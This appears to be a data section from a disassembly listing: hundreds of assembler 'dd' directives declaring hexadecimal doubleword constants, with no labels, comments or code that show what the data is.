		dd 0F769E54Ch, 0F1B001CBh, 0D17C8B50h, 8810A209h, 9FBEF302h
		dd 81FCC1A2h, 222A92CAh, 3F5E1ECh, 0B8F2AD43h, 37A059AAh
		dd 0E5033EA8h, 194D2975h, 0B19EE905h, 213D0899h, 8278D473h
		dd 0F4D52A01h, 1E27CED0h, 0C2DF6981h, 0ECDB09BCh, 0E20CFBCDh
		dd 38DE76B1h, 0A653001Eh, 0E07C7E2Fh, 0EDE5674Dh, 8036D14Eh
		dd 2EEE0EA9h, 1D945A9Eh, 40644AF9h, 0B5A795B3h,	80C07341h
		dd 0D59853A5h, 8361C1E6h, 405251BAh, 776926ACh,	0A91FA701h
		dd 2289970Ch, 3FFBBEE8h, 13017B80h, 64CC8B84h, 40A0E8C9h
		dd 3E68D209h, 36978056h, 7F428ADBh, 7A7BF5h, 0AE2BE127h
		dd 0A8AAA3F9h, 58F00807h, 53600EB3h, 0DE3C06h, 677DCED3h
		dd 6D05C731h, 2D41181Dh, 85E0EC80h, 12BD83h, 0CEE5144Bh
		dd 6DAE8D2h, 0BAFC0E00h, 0C782F784h, 6A9000A8h,	1D92ED1Fh
		dd 5000C931h, 9FA7C894h, 174254DFh, 14B02Ch, 583A448h
		dd 34039DAFh, 0E22356F4h, 2E5488E6h, 7B2200D4h,	9790258h
		dd 0DA0FAD55h, 6BC060BEh, 0DB628024h, 6231F94h,	0BCCD04E0h
		dd 8D0010DAh, 3C477A12h, 6E1C7C73h, 41ED097Fh, 798D3020h
		dd 1731BE17h, 0EBC94700h, 7C0244h, 0CD9E3AFAh, 3FE17E3Dh
		dd 27D9C501h, 26067ACh,	75948080h, 0CE668BC1h, 50CF0E90h
		dd 620FE037h, 601C5AFEh, 0A77A464Eh, 2E1F3F80h,	0DA41C123h
		dd 2029B81Fh, 152480D2h, 19DAB5Ch, 0FAA68655h, 0D8878573h
		dd 0F9000B80h, 0D4089730h, 0C066CD43h, 96BAAD68h, 0E8013A5Fh
		dd 0B5D17931h, 38D187F9h, 1B2196h, 0C627F1Fh, 0FA1EA28Fh
		dd 860322D7h, 0A1159550h, 80801EE6h, 652EF613h,	551860EEh
		dd 3B19C788h, 87685043h, 8BA00BEh, 0E34F2615h, 0F0150F76h
		dd 87B441DEh, 4A627993h, 6E1D1C2Bh, 9556792Dh, 934C5302h
		dd 0CDCA40B1h, 3CCC0072h, 3F7A3DE2h, 0C1C2EF87h, 4029DB5Dh
		dd 6B18E9h, 13C676DCh, 3BCE97BAh, 0E9A98F00h, 80B98A1Fh
		dd 2DEF3AF7h, 797F7600h, 7D3B895Fh, 1BD81E00h, 28DA7348h
		dd 868B14CAh, 6C01900Dh, 4E545BE7h, 1F2C20AEh, 401897Ch
		dd 0ACEF6A44h, 0D880D147h, 7C528090h, 0C10199F0h, 45F57EF4h
		dd 0FC70CE7Ah, 4BD400ABh, 9736E6D1h, 0B30A70DAh, 20582E55h
		dd 8CFBF570h, 127F233Dh, 5C0F66A7h, 78C0906Ah, 434AD979h
		dd 217A608Ch, 5D79767Bh, 0D4C3AA07h, 690D7B2h, 19E12CF7h
		dd 70C81354h, 0E0402427h, 0EB526200h, 1B382846h, 3C9210h
		dd 0EFCEBA2Ah, 84A5F2BFh, 0C880CF07h, 69CCD102h, 60FC36h
		dd 0F84FA142h, 29AB601h, 0E05A9C1Bh, 0BCE8B320h, 0FDB46490h
		dd 15BE04Ch, 431AEBD1h,	0C8459A0Dh, 76182DF8h, 89795458h
		dd 0E83018ACh, 537F1151h, 82B29E00h, 0C9E0B1A1h, 30547491h
		dd 112005BDh, 8D029B4Bh, 0B479322Eh, 6AFC8120h,	0B160143Eh
		dd 0FD52189Fh, 0A4B8A06Eh, 853D250Dh, 93DC9979h, 3766006Bh
		dd 94F0132Dh, 300083CAh, 0DC169947h, 36A25A7h, 0D0CF92BFh
		dd 390A7A60h, 84989EC5h, 548302B8h, 484C1920h, 60456750h
		dd 9FD8C14Ah, 0F1009DFDh, 10F45B74h, 987A48BFh,	43C40C10h
		dd 249AFE7h, 1E98C252h,	51C1D506h, 42220C64h, 0A4812E8h
		dd 439A506Ah, 73E11D4h,	0E3BA7BFFh, 6C1D1C60h, 5DF301F1h
		dd 236E9A21h, 0A645048h, 24938FE0h, 447A1100h, 867FFB3Ch
		dd 0C3C8E545h, 0E0E89Dh, 0CCA79FABh, 157767E2h,	0CF932101h
		dd 6C108639h, 3260F930h, 0D438AC4Dh, 4C41F09Ah,	0EAB81839h
		dd 41E8214Ch, 918375C1h, 136AEC0h, 9A3D6EF3h, 892F35FCh
		dd 0A0FE3221h, 7D51A240h, 98915488h, 42800774h,	23E87B47h
		dd 91853DEh, 0D420584Dh, 94420044h, 937220CDh, 0E803F353h
		dd 86F295A0h, 8E6100EEh, 14BCBD75h, 0E3072512h,	0C289F8D9h
		dd 0F47DE0C1h, 0A8B46453h, 43A1E518h, 0D22285h,	0DD918F39h
		dd 7C7AC1A5h, 0C7242898h, 0D402B8F7h, 60F46D1Bh, 171432DCh
		dd 6EAA50h, 0FCB1461Ah,	0A1E47527h, 65BEB000h, 0E4D7CF9Dh
		dd 0A719003Ah, 0C3D3CB23h, 40C1F84Ah, 33DB44C1h, 42CA5880h
		dd 1D1BE8E4h, 91663C00h, 12AE29A5h, 0E07924D6h,	77EC81B0h
		dd 5050854Ch, 0B07CC8Ch, 36F73800h, 0FA43567Bh,	0E446005Fh
		dd 85AC646Ah, 6B03FE89h, 60A6778Dh, 0CB34D086h,	3A75706Fh
		dd 0D10C5203h, 1B514CE7h, 0CC8F49h, 5B18FEAFh, 0F5EEA2h
		dd 0A0FF5051h, 19251A7Fh, 9A49607Ch, 2E44834h, 1350C40Bh
		dd 5D86181h, 85E01C26h,	0FA000DACh, 74BD731Bh, 263D8637h
		dd 0F4F082ABh, 4037B6A1h, 0DFDDF4B4h, 0F4F033FDh, 6ED62022h
		dd 60757AF0h, 0C73C142h, 0F1790B96h, 45205F03h,	80093F7Bh
		dd 5C4CDC8Eh, 0D109EFFDh, 8018ED5Eh, 4868618h, 7B76429Dh
		dd 207862E0h, 8F424513h, 0FF920900h, 0CCD98425h, 0E2C516E0h
		dd 0A20C0331h, 9000633Ah, 1D48074Dh, 0F0DDF347h, 854A019h
		dd 6BB00BBBh, 5C2B4D04h, 0CEE7640Eh, 0E63F239Dh, 89A7E9C0h
		dd 31EA7A00h, 554B22F3h, 4C9473DDh, 9600088Dh, 52682F02h
		dd 0CEF835ADh, 51CE0A79h, 0E041D77Dh, 0F4779BA6h, 3E8820h
		dd 40653506h, 0CD2C9246h, 2318DD60h, 606B74h, 0CF9538F5h
		dd 93A45266h, 0E041F4A2h, 2800F38Bh, 7E208E7Ch,	1791C497h
		dd 6BC014Ch, 0D99D9FD8h, 4DA56h, 0E1ABE96Ah, 698C648h
		dd 66371C5Dh, 7D19D83Ah, 79AE7BDCh, 58152860h, 8009571Dh
		dd 0CC21CD78h, 12CAACh,	4C3E53D4h, 0D70FF447h, 23606A87h
		dd 0C2361EC6h, 1102602h, 8098F9DAh, 0DDCA2D28h,	9418C20Fh
		dd 7444193Eh, 0C9F5D26h, 0D135A930h, 60555385h,	0C36A4100h
		dd 687DEC31h, 86C5A8C8h, 71036423h, 595F9080h, 32589607h
		dd 30A280C8h, 7A488052h, 5403AC53h, 0ACAF7C20h,	0AC7E3184h
		dd 21E84D79h, 7CF1A8BDh, 84F2932Ah, 9B091C12h, 6FEAB403h
		dd 1F901034h, 382A8452h, 9797203Dh, 669B49C0h, 0C1700E02h
		dd 41CFD138h, 0F092E561h, 0F7FEC7E8h, 0A90F0730h, 30FF15ACh
		dd 3E31622Bh, 0B301F683h, 1F77546Ah, 598395CCh,	0EF9AFDBh
		dd 3D9B3801h, 6A189326h, 0C057F5C5h, 4902B2F0h,	0B06C3CC0h
		dd 0D1431100h, 0F098D3E8h, 0FB447CB0h, 67020379h, 0D580D01Fh
		dd 877B12F8h, 81B03D1Eh, 253863Ch, 16118479h, 1FBAB8h
		dd 3D119ECh, 20CD82E1h,	94036999h, 15C100F8h, 394F671Fh
		dd 0E12A539Eh, 78C4A0CFh, 0F0C19524h, 93001EC4h, 54106BF7h
		dd 1B123E98h, 400C5E57h, 0E07FEFCDh, 0EAF0DE40h, 0F57D5214h
		dd 15B0084h, 5103AE26h
		dd 9D150053h, 5F69CA40h, 0D60D9666h, 48566A5Eh,	581400Ah
		dd 0A1CE98D9h, 68904068h, 0D3558005h, 0DF149065h, 0E609373Ch
		dd 0A15A20F5h, 0F2606770h, 51D88C74h, 1084544Bh, 0B2E0456Fh
		dd 1D7C00B4h, 361F9215h, 4D40C0AFh, 974C119Dh, 99452709h
		dd 67802691h, 10624CB8h, 0C14DB8Fh, 3469C408h, 74C40490h
		dd 461B036Ah, 2F7001D4h, 9AC68FE4h, 0CF02F64h, 0EF7003C4h
		dd 7D9BEDF9h, 921836F8h, 89108C0h, 1213D9h, 159864E1h
		dd 5095621Bh, 5CF69400h, 420F5F9Bh, 0E4044926h,	8425D325h
		dd 0AA042F1Fh, 7D8A1B07h, 0C777C141h, 877C2095h, 0BBFD670Eh
		dd 0F8F90781h, 21F280Ch, 77925CFAh, 0A32197A6h,	0C000BC46h
		dd 0EB8003E4h, 3DBB88F9h, 2D087F89h, 50015720h,	449A28C7h
		dd 7B449B48h, 294C6901h, 9029290Ch, 33A52220h, 0AA1FF97h
		dd 0EF222986h, 0CA02105Eh, 0C4D33EA7h, 0FB50A083h, 967B8833h
		dd 28416F89h, 0D7111316h, 980711F6h, 518B299Ah,	11DB65C0h
		dd 0CC6F1B00h, 398AB12Fh, 5F640050h, 0E4AB197Ch, 0F500BB87h
		dd 7660AA3Fh, 3BFAF826h, 0E0801A4Eh, 736C968h, 0A7000C13h
		dd 0EE2E3FD7h, 0AB578Dh, 0D944E456h, 0F46A474Eh, 882B8C00h
		dd 0D5CB4069h, 0E11F004Dh, 5EB683C4h, 0FC006A61h, 2809E332h
		dd 0DD7440h, 18076F53h,	0CAA04CC2h, 5F68C603h, 0F89F67C5h
		dd 5A97BEh, 0EA0347C0h,	0DEA35E23h, 3CE12026h, 832FA600h
		dd 0E1805F5h, 0F1FDDA85h, 0FEBC2CE0h, 0A200AFAEh, 0F4165C7Eh
		dd 0AB391Fh, 27526AAAh,	5843C01Dh, 8E02FDF0h, 2564B7E7h
		dd 382A4061h, 0D6C100C8h, 575402EFh, 3B7DEE97h,	0A65B0F01h
		dd 7DA2A310h, 0CD44825h, 0A18E00B9h, 90D3736Eh,	5A00DF23h
		dd 0BDAAA956h, 0E81ED2CBh, 953B1D5Bh, 9249803Fh, 783A9C4Fh
		dd 0C3CD8200h, 0D239FADFh, 0D87AA1h, 5674135Eh,	9401832Ch
		dd 95FFEE00h, 68B5642Bh, 0E45C001Eh, 0D1B38F5Dh, 0A200E56Bh
		dd 5958A340h, 0AD4C88h,	0F557415Ch, 72689754h, 0AF71900h
		dd 3C4DE34Eh, 25991D98h, 156A0014h, 0E4C71EF5h,	70FDAA7Fh
		dd 0B000BAC1h, 6FE01C6Eh, 77484D7h, 580E1886h, 372150A1h
		dd 5C00DF04h, 0BF5EE587h, 1087436h, 3952758Dh, 0E8FB2409h
		dd 0E93DDA8Fh, 0ACB86Fh, 571332BEh, 3DE8120h, 30C7CA2h
		dd 0DFC01F95h, 0BB008A9Eh, 0BA5AD79Dh, 6A7914h,	0F7E46759h
		dd 383A3F81h, 0FFCB000h, 0A771B9B3h, 44F10F64h,	3CA33753h
		dd 0E6C97296h, 0B7ADF804h, 338F3F0Fh, 0E76E43ECh, 0F776E088h
		dd 0C663034Eh, 51D2565Bh, 0C4CF1E89h, 0C700ED21h, 83E55FC4h
		dd 1CFF625Ah, 0C0C3DD44h, 4595841Eh, 71004630h,	3305DCD9h
		dd 1D0297FAh, 435516FFh, 0F9A32909h, 0B1EC21E0h, 0AA5BD924h
		dd 0E2083800h, 0BB59Fh,	1C837D71h, 0C2CE1490h, 0A774F601h
		dd 0FD1278A8h, 9E53DFCh, 0C494382Ch, 0D0B89827h, 2D6BC148h
		dd 827B8600h, 6C622216h, 0BF3501CDh, 0EF56A038h, 0C2C4C8B9h
		dd 23EB3Dh, 0D530785Bh,	36D0D9h, 842012DCh, 0FC1D1F99h
		dd 3808BC48h, 1BC700DBh, 4E7F6638h, 269F00F2h, 0BDF710EAh
		dd 20B81943h, 36A29900h, 660AE31h, 0ECAD0FD8h, 33D52Ah
		dd 87949245h, 0CD07E3DAh, 53BB67B0h, 0D0462293h, 32432CAh
		dd 0FDEA64FAh, 0D2D02683h, 0FF1CC89Fh, 4C83EDC4h, 0D879F61Bh
		dd 31DD5Fh, 2161F885h, 0CFAB5DB4h, 530056ECh, 0EE8EDA38h
		dd 552DA3h, 0DE82393Dh,	0C7A8670Eh, 0EFB74B00h,	0F433C912h
		dd 0E3A20F0Ch, 8EC3A67Ah, 5C87F79h, 8A004077h, 15FBFC65h
		dd 90954AC0h, 74EE1ED5h, 5DDA033Bh, 5FA0A634h, 67005891h
		dd 0FACF91Bh, 709B3E1Ah, 98900ABh, 474536Eh, 0AA004A70h
		dd 1FD69D5Bh, 5CE026h, 318C78CBh, 0BDB0246Dh, 0CC29882Eh
		dd 0A2C03804h, 0D7C31080h, 0BCAA0916h, 0DC00E304h, 1B3B0CC5h
		dd 0E039E701h, 0B69A57D4h, 28017C4h, 7AE59313h,	80FD43F9h
		dd 4429DADh, 0CE220F0Dh, 874FAA3Bh, 0A05CD020h,	0CD0018D4h
		dd 0E2168C1h, 0F6F988h,	627B8C7Eh, 5FB7BC76h, 5D5CE2Dh
		dd 8E8F28h, 0A938CDB2h,	0BC92A003h, 77B09A09h, 7EBA00ADh
		dd 59BF4A68h, 200478Fh,	0A2CFD645h, 0CD6D6Ah, 9CF15ACEh
		dd 88A7756h, 688B7226h,	70E6E900h, 3F9E60D8h, 0CABC25ADh
		dd 0B53C0700h, 141790B6h, 0CE9BAC00h, 8C29BAF7h, 583B008Bh
		dd 9562A379h, 2F00903Ah, 6EAB39Fh, 3C2E556h, 0FBC75C28h
		dd 71A0B7D0h, 3000BA83h, 0FA5DA6EBh, 3E51D453h,	6B94DBABh
		dd 0E50FD407h, 94E06590h, 0D030E66Ch, 0D8B6F300h, 4DDB952Dh
		dd 0FB373A77h, 5385601h, 3043AC58h, 54071848h, 31DBB3B9h
		dd 1BEE5790h, 89FE2477h, 0DC101DC4h, 34EAC04Eh,	17D95578h
		dd 397DBA1Eh, 68A0E03Bh, 7B3D36Bh, 36F50C87h, 772A0FEh
		dd 0F23967ADh, 88318024h, 549B0FA3h, 9580F0Dh, 4BE0CFBAh
		dd 7778CC44h, 7B9D5300h, 45596126h, 0E4322E0Bh,	9E28099Ch
		dd 0E98A00F5h, 0B40E5Dh, 0A0DE290Dh, 0CEC64211h, 98EE7800h
		dd 0D9EF79FAh, 7B6F00DFh, 0B47D8695h, 0F800584Bh, 0F95C246Ah
		dd 17E27Fh, 3A2A8771h, 0BC4CDBFh, 3404DCFAh, 64D52143h
		dd 0F75AD5C0h, 91B009Ch, 0EE7519DFh, 1500D116h,	935825E8h
		dd 4438A0Eh, 1699747h, 3560C122h, 0F198F38Dh, 11030D95h
		dd 635E30D9h, 0E4A2B917h, 0CCDCC4h, 0C88BF566h,	853A418h
		dd 3CDA0B00h, 0DC3F9BFEh, 0EE541ABAh, 23C3289Fh, 0B7D81BDh
		dd 58E440D9h, 8F0FC2A6h, 0DE4540B2h, 0FD1FAFC0h, 0B0E12Dh
		dd 2BAA920Ch, 0B6ACA344h, 0EAB22300h, 796CF8CDh, 0C7F900E6h
		dd 5570E872h, 4800FA6Eh, 0CB5095D9h, 0F4F87AE0h, 56F30176h
		dd 80AEC53Fh, 3184C015h, 3C872217h, 1845CA00h, 2CF03D1Ch
		dd 0C47D9h, 3F7639B6h, 19005126h, 0BA5EA67Dh, 468A83h
		dd 1E31BF3Dh, 7DCEF40h,	1C2D933Eh, 0FC00AE4Ch, 0CFFA81B8h
		dd 0ADC002D4h, 0A2859FA5h, 0EC591461h, 8D00297Ch, 2CD66F4Dh
		dd 164888h, 0D905E84Eh,	3174D7BCh, 5D506E00h, 2B5F4AD5h
		dd 5835EC59h, 580090BDh, 0D9DCFD0Bh, 9C019F74h,	7EB94A3Ch
		dd 0ECF4BF96h, 0C55A009Dh, 0E24C5295h, 9700AD8Eh, 0C6A51B04h
		dd 2EF679h, 7657216Ch, 70E7324Eh, 0E40DC700h, 1E0B8F80h
		dd 198C03B4h, 0F1B662D3h, 0EB355290h, 0BE920961h, 0D4E4DC71h
		dd 29A300D5h, 74E04ADh,	9500C035h, 3D2CE4F7h, 5E56468h
		dd 0E637AEFCh, 0F56B807Ch, 1107D0C4h, 0E7CA3647h, 12052810h
		dd 0E0B4389Eh, 53375000h, 0DDE4D3FFh, 0D9C38400h, 0B6AA8714h
		dd 6719003Bh, 0C6C3311h, 7A0B527Eh, 80F0B8ABh, 9DEEFDFCh
		dd 421B0EA7h, 0A801CEF3h, 7055DB57h, 0C2FE982Bh, 95E89B03h
		dd 981E6C9Dh, 16B0740h,	0E37D5629h, 0F4ED734Fh,	0F000BBC0h
		dd 1B5C0E8Eh, 2E402C81h, 487129h, 530154B4h, 6800B23Bh
		dd 83E71196h, 2897CCAh,	0EE2E9D02h, 0B4610452h,	0F0BC31D6h
		dd 1A1E0548h, 53C060DBh, 0F608713Ch, 6A96004Eh,	0D5A543BCh
		dd 2B0030F8h, 0F5C37EB6h, 17C79926h, 40F09FE8h,	0F47DF728h
		dd 450732BAh, 0D4635C6Ch, 0D5836081h, 6A2E683Ch, 10756054h
		dd 400038Ah, 0EA0FFA2Fh, 0D06691h, 0EB01BBF4h, 335106F2h
		dd 20A45F00h, 0E16B32CFh, 18571EAh, 8D738ABCh, 7D6FBAC6h
		dd 1AB9007Ch, 2AD569B1h, 25C89440h, 0F90B95D6h,	0CBCA099h
		dd 1C260951h, 8910A353h, 0C4E052C0h, 0C8940FE0h, 29F62A41h
		dd 379B034h, 1806840Ah
		dd 0F0C75AE6h, 0ACB3755Eh, 8089633Bh, 0E40BC3AEh, 0FA3B49h
		dd 0C19606FDh, 9F498DBh, 8F2D8E00h, 0C6D4DFEEh,	48ABEA0Fh
		dd 7800096Eh, 219C14C1h, 5807BD55h, 2EC8A084h, 5025F7C0h
		dd 380A009Eh, 8568339Dh, 5700C573h, 0F35BE7FBh,	0B8ECDBB7h
		dd 7F6F028Ah, 148EB6Dh,	0DE0484D0h, 0EB3D07Eh, 50F6080h
		dd 8B85009Ch, 2B82E15Bh, 0DD005EE0h, 7EBC19C7h,	3970B74h
		dd 118395E4h, 50EF0C5Dh, 0F5E6FFFDh, 657002C2h,	7D9CE059h
		dd 0F4A2026h, 6F470C13h, 0ABF6A05h, 0A0D390D7h,	134D90B0h
		dd 6F1209CCh, 0A060C743h, 67008FAFh, 0B51CD2BCh, 68E181h
		dd 1B58C809h, 0D9714C4Ah, 0A67A19E4h, 8E65C8A1h, 40BB7A69h
		dd 0ED1C516Dh, 0BFAF0338h, 0FAE7529Fh, 11A1ABB8h, 19E0D496h
		dd 2CCB46F6h, 211C24Ch,	949CFC6h, 633EB058h, 7DB39FA4h
		dd 50146E83h, 4775E03Ah, 64F053h, 600C4EFCh, 170ECFF4h
		dd 87351800h, 0B5A42407h, 25D400C7h, 0EDF3EEEFh, 1B00DB76h
		dd 0C2536927h, 48A63E6Fh, 13004802h, 0CABB80E6h, 0B200F0D2h
		dd 0F36E8FE7h, 6B0BF1h,	69534A51h, 0CEBE544Eh, 0E2CC3600h
		dd 66E182D8h, 0FB5D0F70h, 0A8C051B4h, 0E5580BB6h, 9CEAE72Eh
		dd 33AA8138h, 2F53E922h, 7480E4h, 959969FAh, 0D23FAC91h
		dd 0E4887C00h, 300F41B4h, 215901B9h, 0F03CF163h, 4240CE1Bh
		dd 36007DE6h, 0DBF3C151h, 9E990Fh, 8942CFBBh, 3A0E94A3h
		dd 0BD64E701h, 7E0487E9h, 3B812FCh, 7524916Ah, 0C9D2D166h
		dd 84A88740h, 7A3F6C9Ch, 0BCA359ECh, 14EBE788h,	967077F4h
		dd 0D147F202h, 6081A492h, 4C95D4CAh, 88014420h,	30DCDF2Ch
		dd 338FC058h, 3901077Ah, 978A3EEFh, 3CDC7AF0h, 1B9C4C9Ah
		dd 0B3A70907h, 0F2997181h, 23AF3012h, 8D38D207h, 0CFD0E460h
		dd 3E30264h, 5D8C187h, 0ACF13BEDh, 266EF001h, 79151300h
		dd 9A9B9869h, 0F3DD00BBh, 8EF46C19h, 780111C3h,	0D98B577Fh
		dd 0AC2006B5h, 5FF500CAh, 0BDD85D36h, 5C09C10Eh, 81149126h
		dd 34693AFEh, 0D48AFCh,	4176407h, 0DA8E50F0h, 0E76E5700h
		dd 3D732412h, 0D62C01ABh, 0E8365CBCh, 0F291F0EEh, 47C0831Eh
		dd 136309h, 0C6FA464h, 0C020E226h, 17BD7A10h, 0CD00D37Eh
		dd 0CBD901D6h, 0A2EC58h, 0E3F9F272h, 5348E65Ah,	80DE8638h
		dd 0CFA9BFC7h, 1EA1C7Dh, 15AEDFABh, 0EC19AC99h,	0FE03963Fh
		dd 5B46CEA1h, 6BA8A0F5h, 0F78D1CA0h, 0B92A8092h, 0DD6C6A30h
		dd 0D80F405Bh, 34176058h, 1F2CE3EDh, 0C0A8E102h, 3782D6C8h
		dd 5158A414h, 0A057078Ch, 0C430D904h, 24E83563h, 4FBFA9h
		dd 705D80CEh, 1A01015Bh, 0DB7C6E33h, 0FDD87812h, 8D0F00D6h
		dd 0CE232BAFh, 3100F298h, 0B4B0DE04h, 133971E4h, 998AA2h
		dd 248DF8E4h, 11C02694h, 0C9C62CF9h, 0E8CC9015h, 3B1300D5h
		dd 0CE5A17E6h, 8B039EFBh, 7226E7A7h, 448A02Eh, 97937E71h
		dd 0CA4E08Bh, 7E4B4056h, 73FE9A6h, 5122F36h, 7B3792B4h
		dd 2E496C40h, 96604200h, 0DD5CA94Dh, 0D8640131h, 8D5E4813h
		dd 0FAE02067h, 62639915h, 9C0575E8h, 4D65FFA2h,	0BE1B7B80h
		dd 506D6034h, 0BB2711B0h, 0D142901h, 74DE592Ch,	0C232D540h
		dd 0E8DA0079h, 4A5FF628h, 3D00DF88h, 0D057A33Bh, 79DCAFDBh
		dd 2549848h, 2356A014h,	0D298E5h, 0C0E6C614h, 38FB16DEh
		dd 15B1BD06h, 0A6F00128h, 23FDF2AFh, 0AB6CC87Fh, 32227300h
		dd 8A81C8BBh, 19370147h, 0FE93B813h, 87DFC477h,	9AAB1400h
		dd 268D3143h, 49DC24AAh, 35440010h, 93A3F3Ch, 0B07B9900h
		dd 6DD5847Ch, 0F31007Dh, 328A35E9h, 0F17892F5h,	1E264058h
		dd 0FFC05A42h, 0A0C7458h, 0F47258B1h, 0C0C98B00h, 67C4DD3Eh
		dd 4401684Fh, 4C48BF69h, 7F11C770h, 44239DA3h, 9F980A81h
		dd 8E009256h, 48823827h, 916350C2h, 6D203E38h, 243AA300h
		dd 0CB914CABh, 80310666h, 0B6626763h, 0B9B4BB00h, 2D9D07AEh
		dd 682E2E60h, 812384Ch,	0BD10E038h, 64BF0D00h, 0EBC0728Bh
		dd 39B0332h, 28D0CD4Ah,	7102C0B4h, 40016E3h, 2D36A8BDh
		dd 58BBC95Fh, 6401E389h, 0BCBEB6D2h, 0DC543058h, 0DA9C8800h
		dd 305A569Eh, 85603066h, 0F426E5AEh, 1242B800h,	38131B2Bh
		dd 0CC8800CDh, 5DA20FCh, 628C35Eh, 9A7E449Ch, 8D988C00h
		dd 0ABF82F47h, 0D19500B5h, 9ED2ADD4h, 395D3B4h,	0C04F9048h
		dd 0D9ABA3h, 8559663Eh,	0E9D8B581h, 0BD31C00h, 0CF4DB986h
		dd 4EC724FFh, 0DD10034h, 0E3AC7570h, 6448BCFEh,	4005746Ch
		dd 1091AB3Ah, 0C637A880h, 5BFE253Dh, 2E76E881h,	5588C09Dh
		dd 7B483Dh, 18FA2670h, 0EF428A6h, 3587307Fh, 2E200232h
		dd 90DAC552h, 0E6C9B204h, 0A480210Ah, 0E86F96h,	0E2E5016Dh
		dd 3668530Dh, 250E6400h, 62DAAC19h, 7950162Ah, 76F840AFh
		dd 8B0B9BE7h, 73214B01h, 0D850C12Bh, 0B31EE1C2h, 58CEC4D4h
		dd 2402441Fh, 0DD132539h, 38750CE8h, 0EB4F7100h, 0CD4B5A84h
		dd 0DB1C0701h, 0C0FDA64Dh, 0BF0C45ABh, 71D3BD0Fh, 21DC83FBh
		dd 0BEA0B806h, 55370039h, 61B9FFF5h, 0FB0583B7h, 7C05D43Eh
		dd 853E04EBh, 0CB288064h, 124856E6h, 416F14CCh,	1CF502C8h
		dd 0D86DE35Eh, 999D0340h, 820B80D1h, 0EA12D9F8h, 222D3900h
		dd 8B537B91h, 372E1278h, 0D3880002h, 9FFCCF24h,	31131270h
		dd 0E0C0AAA5h, 55504Bh,	77ACA10Ch, 1ADC9399h, 28A28A0Eh
		dd 0A4BA635Fh, 94729948h, 92D370h, 62A5F13Dh, 17578E9Ah
		dd 4375F50Eh, 0B720E1D9h, 0B4741A30h, 87F039BDh, 0E8DF8C80h
		dd 0D89C8FB4h, 1E4Ah, 0A6B12E29h, 7FEE00CEh, 0F16E5CB9h
		dd 890112EFh, 502B3E7h,	0DC8A571h, 0BD6C05E8h, 1B7A04h
		dd 0CBF954CCh, 0F600CF07h, 7394796Bh, 0AD3C18h,	17DC96C2h
		dd 0A9ABBD89h, 7202EC00h, 0E3AF7B5Dh, 44B51E4Dh, 0C39180A7h
		dd 77AD2A40h, 0A9FD5400h, 6C99E1E4h, 0BC811EB9h, 0DC2181FBh
		dd 0C063893Ah, 0A800106Dh, 15058FF9h, 18BCE1h, 0DD220846h
		dd 4E87BDEFh, 0B10B811Ch, 0E6D9837Ch, 0D86669A2h, 0ABD362Fh
		dd 0A4DA1096h, 0B50500C8h, 0ECD444FDh, 63265800h, 0AF3F09D3h
		dd 7A7D00ACh, 82782219h, 0BE008DCBh, 15A6D8DDh,	1E13D9F7h
		dd 806D0F10h, 0BD033CC7h, 6817C54Ah, 0E0006B93h, 4CA72196h
		dd 74DA01B6h, 38E870D2h, 0AC188163h, 0B4276857h, 0A2E04CF5h
		dd 624AC083h, 0A7D9663Ah, 0DF93CC00h, 6989D5ECh, 75AD00C1h
		dd 219A7DB7h, 85052317h, 0D9B649CBh, 5AEE9E00h,	501C05h
		dd 37DADD5Fh, 0DB782C96h, 0A2929801h, 72D8805Dh, 5CA4F3F0h
		dd 0E007B2B1h, 907890ADh, 0F4A9E11Dh, 58B8100h,	0CE753DC9h
		dd 0AB6B01C6h, 0CFEF9D61h, 0FBFA606Ch, 946ED00h, 502F2EBEh
		dd 1C7E7DE3h, 80B5B9A9h, 0B46E91BFh, 5F00EDCDh,	679B7290h
		dd 0EA1921A6h, 0C709F34h, 35A3D306h, 78C157E7h,	0D66C0F06h
		dd 85001A44h, 2FBA16FDh, 0D507A77Fh, 1D8CDB05h,	4AA1E3h
		dd 64212230h, 0C0AE3D23h, 248E8801h, 441EDFF0h,	1A98D4h
		dd 465A76CEh, 55F26EACh, 616CD500h, 0EED77408h,	0B7EB1FB4h
		dd 0A5E70051h, 8A38E2EAh, 0CCEF3E07h, 2260CF60h, 306B5FAh
		dd 40A33711h, 5BA848B2h, 0C900A9F8h, 163D65BDh,	8B90E7h
		dd 44A3B889h, 6043FA8Eh, 71375B00h, 0D78F514h, 0B1C3BE6h
		dd 371C7AEh, 0C8978C22h, 0F33B4DB8h, 4CEE4A00h,	86D954FFh
		dd 8094000Fh, 425573A0h, 30900EA6h, 0BF92E500h,	5F1415F4h
		dd 0F356000Bh, 0A598179Eh
		dd 70094EEh, 0A79D9B97h, 3AFAAE38h, 0DE007E26h,	2D537903h
		dd 4724283Dh, 150D8DB7h, 0A3DC786Dh, 9D3202FEh,	8C343D7Fh
		dd 8871FC84h, 0A7005E54h, 1B0F7AF9h, 28C6B2E3h,	80A49816h
		dd 54A9C0h, 416A8BB7h, 6D23E2FEh, 0DF07C100h, 17AD4F1Dh
		dd 59403CD0h, 0E98E793Eh, 0C042F6B1h, 8C850494h, 0BA1B82D2h
		dd 7F81AC80h, 0C5005473h, 7C6D3BF7h, 39CF16ECh,	0B0029B6h
		dd 47053CB0h, 6E1D0CB3h, 87BB8B82h, 0C5D88693h,	0A1293610h
		dd 0D2D7005Dh, 0C0526BA5h, 1200B3F1h, 6FEA332Dh, 0F64A1B1Ch
		dd 6190B4h, 0C73A4D39h,	2F3F4105h, 5E184C00h, 0F1B322D2h
		dd 0D48200C2h, 0AE16B7C1h, 4BB87752h, 0B8574203h, 883CFD28h
		dd 8B07E1h, 78CE9710h, 0E61B05D6h, 0A18C500h, 0F76677A4h
		dd 3C740567h, 8016BE3Dh, 22FDB3A1h, 9ED83600h, 7BAAD26Ch
		dd 8AC80E2Fh, 0A80AA299h, 7C4500C0h, 3740E74Ch,	2DF9BA00h
		dd 0CCFC0B93h, 41A00E6Eh, 2205E36h, 4D2412C2h, 8FA9083Fh
		dd 42615D07h, 60BAC74Eh, 17B926h, 0C4515FABh, 0AA349AE4h
		dd 1CC00615h, 2EA2C09Ch, 9566B2Ch, 0C6A4E53h, 8620642Eh
		dd 0B14DFE1Ch, 80B0C73Ch, 1ACB5A60h, 7EF42A0h, 0EEE690B4h
		dd 0EC3780E7h, 0FD004C1Dh, 70684454h, 0B9D8E2h,	0DD0BDF09h
		dd 8CF6ED33h, 6BE45278h, 0C3EE6498h, 0B67EEC70h, 0B2D8351Dh
		dd 12E48340h, 7F35459h,	0E0E97B3Eh, 5772F0CCh, 0AA3A25CBh
